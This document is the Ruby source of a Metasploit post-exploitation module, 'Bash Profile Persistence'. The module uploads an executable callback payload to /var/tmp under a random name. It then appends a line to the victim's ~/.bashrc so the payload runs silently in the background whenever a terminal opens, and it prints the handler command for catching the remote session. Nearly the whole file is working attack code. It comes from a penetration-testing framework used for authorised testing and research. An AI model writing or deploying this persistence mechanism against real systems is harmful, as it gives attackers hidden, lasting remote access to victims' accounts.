This Metasploit module writes an execution trigger to the target's Bash profile. The execution trigger executes a call back payload whenever the target user opens a Bash terminal. A handler is not run automatically, so you must configure an appropriate exploit/multi/handler to receive the callback.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Unix
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bash Profile Persistence',
'Description' => %q{"
This module writes an execution trigger to the target's Bash profile.
The execution trigger executes a call back payload whenever the target
user opens a Bash terminal. A handler is not run automatically, so you
must configure an appropriate exploit/multi/handler to receive the callback.
"},
'License' => MSF_LICENSE,
'Author' =>
[
'Michael Long <bluesentinel[at]protonmail.com>'
],
'DisclosureDate' => 'Jun 8 1989', # First public release of Bourne Again Shell
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'SessionTypes' => ['meterpreter', 'shell'],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },
'Targets' =>
[
['Automatic', {}]
],
'DefaultTarget' => 0,
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'References' =>
[
['URL', 'https://attack.mitre.org/techniques/T1156/']
]
))
register_options(
[
OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.', '~/.bashrc']),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write persistent payload file.', '/var/tmp/'])
]
)
end
def exploit
# expand home directory path (i.e. '~/.bashrc' becomes '/home/user/.bashrc')
profile_path = datastore['BASH_PROFILE']
if profile_path.start_with?('~/')
home_directory = get_env('$HOME')
profile_path.sub!(/^~/, home_directory)
end
# check that target Bash profile file exists
unless exist?(profile_path)
fail_with Failure::NotFound, profile_path
end
print_good("Bash profile exists: #{profile_path}")
# check that target Bash profile file is writable
unless writable?(profile_path)
fail_with Failure::NoAccess, profile_path
end
print_good("Bash profile is writable: #{profile_path}")
# create Bash profile backup on local system before persistence is added
backup_profile = read_file(profile_path)
backup_profile_path = create_backup_file(backup_profile)
print_status("Created backup Bash profile: #{backup_profile_path}")
# upload persistent payload to target and make executable (chmod 700)
payload_file = datastore['PAYLOAD_DIR'] + Rex::Text.rand_text_alpha(10..16)
upload_and_chmodx(payload_file, payload.encoded)
# write payload trigger to Bash profile
exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
append_file(profile_path, exec_payload_string)
print_good("Created Bash profile persistence")
print_status("Payload will be triggered when target opens a Bash terminal")
print_warning("Don't forget to start your handler:")
print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
end
# create a backup copy of the target's Bash profile on the local system before persistence is added
def create_backup_file(backup_profile)
begin
hostname = session.sys.config.sysinfo["Computer"]
rescue
hostname = cmd_exec("hostname")
end
timestamp = "_" + ::Time.now.strftime("%Y%m%d.%H%M%S")
log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)
::FileUtils.mkdir_p(log_directory_name)
log_file_name = log_directory_name + "/Bash_Profile.backup"
file_local_write(log_file_name, backup_profile)
return log_file_name
end
end